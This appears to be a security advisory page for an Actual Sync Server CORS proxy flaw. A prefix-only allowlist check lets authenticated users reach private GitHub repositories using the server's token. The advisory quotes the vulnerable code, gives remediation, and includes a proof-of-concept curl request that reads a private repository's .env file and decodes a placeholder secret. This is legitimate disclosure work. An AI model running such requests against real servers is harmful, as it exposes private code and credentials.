Alta

Actual Sync Server: CORS Proxy GitHub API Allowlist Prefix Bypass Leaks Private Repositories Through the Server GitHub Token

  • Publicada: 07.10.2026
  • Actualizado: 11.10.2026 10:22

Summary

Actual Sync Server's CORS proxy is intended to let authenticated users fetch resources only from repositories listed in the official plugin allowlist. When ACTUAL_GITHUB_TOKEN is configured, the proxy automatically attaches the server's GitHub token to GitHub requests.

The GitHub API allowlist check uses a raw startsWith() prefix test for /repos/{owner}/{repo} without requiring a path boundary after the repository name. If an allowlisted public plugin repository is https://github.com/acme/plugin, the proxy also accepts GitHub API URLs such as:

https://api.github.com/repos/acme/plugin-private/contents/.env
https://api.github.com/repos/acme/plugin-secrets/actions/secrets
https://api.github.com/repos/acme/plugin-internal/releases

Those URLs are outside the allowlisted repository but still pass because their API path starts with /repos/acme/plugin. The proxy then forwards the request with the server's ACTUAL_GITHUB_TOKEN, allowing any authenticated Actual user to read private GitHub resources reachable by that token.

Affected Endpoint

  • GET /cors-proxy?url=...

This endpoint is mounted only when:

js
if (config.get('corsProxy.enabled')) {
  app.use('/cors-proxy', corsApp.handlers);
}

Source: packages/sync-server/src/app.ts:68-70

Details

The CORS proxy is disabled by default but can be enabled through ACTUAL_CORS_PROXY_ENABLED. The GitHub token is configured through ACTUAL_GITHUB_TOKEN:

js
github: {
  token: {
    doc: 'GitHub Personal Access Token for API authentication.',
    format: String,
    default: '',
    env: 'ACTUAL_GITHUB_TOKEN',
  },
},
corsProxy: {
  enabled: {
    doc: 'Enable the CORS proxy endpoint.',
    format: Boolean,
    default: false,
    env: 'ACTUAL_CORS_PROXY_ENABLED',
  },
},

Source: packages/sync-server/src/load-config.js:280-296

The proxy fetches the plugin allowlist and stores repository URLs:

js
const response = await fetch(
  'https://raw.githubusercontent.com/actualbudget/plugin-store/refs/heads/main/plugins.json',
);
...
const plugins = await response.json();
allowlistedRepos = plugins.map(plugin => plugin.url);

Source: packages/sync-server/src/app-cors-proxy.js:43-50

The GitHub API check accepts any path that starts with /repos/${repoOwner}/${repoName}:

js
for (const repoUrl of allowlistedRepos) {
  const { pathname } = new URL(repoUrl);
  const [, repoOwner, repoName] = pathname.split('/');

  if (
    targetUrl === repoUrl ||
    targetUrl.startsWith(repoUrl + '/') ||
    (hostname === 'api.github.com' &&
      url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)) ||
    ...
  ) {
    return true;
  }
}

Source: packages/sync-server/src/app-cors-proxy.js:84-99

For api.github.com, there is no delimiter after repoName. This means an allowlisted repo named plugin authorizes API requests for plugin-private, plugin-secrets, plugin-internal, and any other repository under the same owner whose name starts with plugin.

After this incorrect allowlist decision, the proxy attaches the server's GitHub token:

js
const githubToken = config.get('github.token');
if (
  githubToken &&
  (url.hostname === 'api.github.com' ||
    url.hostname === 'raw.githubusercontent.com' ||
    (url.hostname === 'github.com' && url.pathname.includes('/releases/')))
) {
  requestHeaders['Authorization'] = `Bearer ${githubToken}`;
  requestHeaders['User-Agent'] = 'Actual-Budget-Plugin-System';
}

Source: packages/sync-server/src/app-cors-proxy.js:192-201

Therefore the vulnerable flow is:

  1. A public plugin repository is allowlisted, for example https://github.com/acme/plugin.
  2. The same owner has a private repository with a prefix-matching name, for example acme/plugin-private.
  3. The Actual server has ACTUAL_CORS_PROXY_ENABLED=true.
  4. The Actual server has ACTUAL_GITHUB_TOKEN with access to acme/plugin-private.
  5. Any authenticated Actual user calls:
/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env
  1. isUrlAllowed() returns true because /repos/acme/plugin-private/... starts with /repos/acme/plugin.
  2. The proxy sends the request to GitHub with the server token.
  3. The response is returned to the low-privileged Actual user.

PoC

Preconditions

  1. ACTUAL_CORS_PROXY_ENABLED=true.
  2. ACTUAL_GITHUB_TOKEN is configured and can read a private repo.
  3. The official plugin allowlist contains a public repo whose owner and repo name are a prefix of the private target repo.
  4. The attacker has any valid Actual session token.

Example:

  • Allowlisted public repo: https://github.com/acme/plugin
  • Private target repo: https://github.com/acme/plugin-private
  • Private file: .env

Manual Reproduction

Step 1: Request a private repo file through the Actual CORS proxy:

bash
curl -s "http://TARGET_HOST:5006/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env" \
  -H "X-Actual-Token: LOW_PRIVILEGED_ACTUAL_SESSION"

Vulnerable result:

js
{
  "name": ".env",
  "path": ".env",
  "encoding": "base64",
  "content": "UFJPRF9EQl9QQVNTV09SRD0uLi4="
}

Step 2: Decode the returned content field:

bash
echo "UFJPRF9EQl9QQVNTV09SRD0uLi4=" | base64 -d

Example decoded output:

PROD_DB_PASSWORD=...

Python PoC

Attached separately as poc_actual_cors_proxy_github_prefix_bypass.py.

The PoC does not need the GitHub token. It uses the target Actual server as the oracle: if the server token can access the prefix-matched private repository, GitHub's API response is returned to the low-privileged Actual user.

Impact

  • Any authenticated Actual user can use the server's GitHub token against prefix-matched repositories outside the plugin allowlist.
  • Private source code, repository metadata, release data, deployment files, and accidentally committed secrets can be exposed.
  • If the token has broad organization or user repository read permissions, a public allowlisted plugin repo can become a stepping stone to multiple private repos sharing the same name prefix.
  • Exposed repository secrets or deployment material may enable follow-on compromise of production infrastructure or supply-chain release assets.

Recommended Remediation

  • Parse and compare GitHub API repository path segments exactly.
  • Replace:
js
url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)

with an exact boundary-aware check:

js
url.pathname === `/repos/${repoOwner}/${repoName}` ||
url.pathname.startsWith(`/repos/${repoOwner}/${repoName}/`)
  • Apply the same boundary discipline to every allowlist branch.
  • Add regression tests showing that an allowlisted owner/plugin does not authorize owner/plugin-private.
  • Consider never attaching ACTUAL_GITHUB_TOKEN for user-driven proxy requests unless the requested repo exactly matches an allowlisted repository.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm @actual-app/sync-server < 26.7.0 26.7.0

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Debilidad (CWE)
CWE-200, CWE-284, CWE-863
Plataforma
npm
Paquete
@actual-app/sync-server
Publicada
07.10.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-m62c-5q34-f3cf - CC BY 4.0

Historial de vulnerabilidades: @actual-app/sync-server

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
8
Primera → última
10.2025 10.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 1
  • Alta 3
  • Media 4

Divulgaciones por año

  1. 2025: 1
  2. 2026: 7
  1. Actual Sync Server: CORS Proxy GitHub API Allowlist Prefix Bypass Leaks Private Repositories Through the Server GitHub Token esta entrada
    Alta CVE-2026-57449 < 26.7.0 26.7.0
  2. Media CVE-2026-3089 < 26.3.0 26.3.0

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.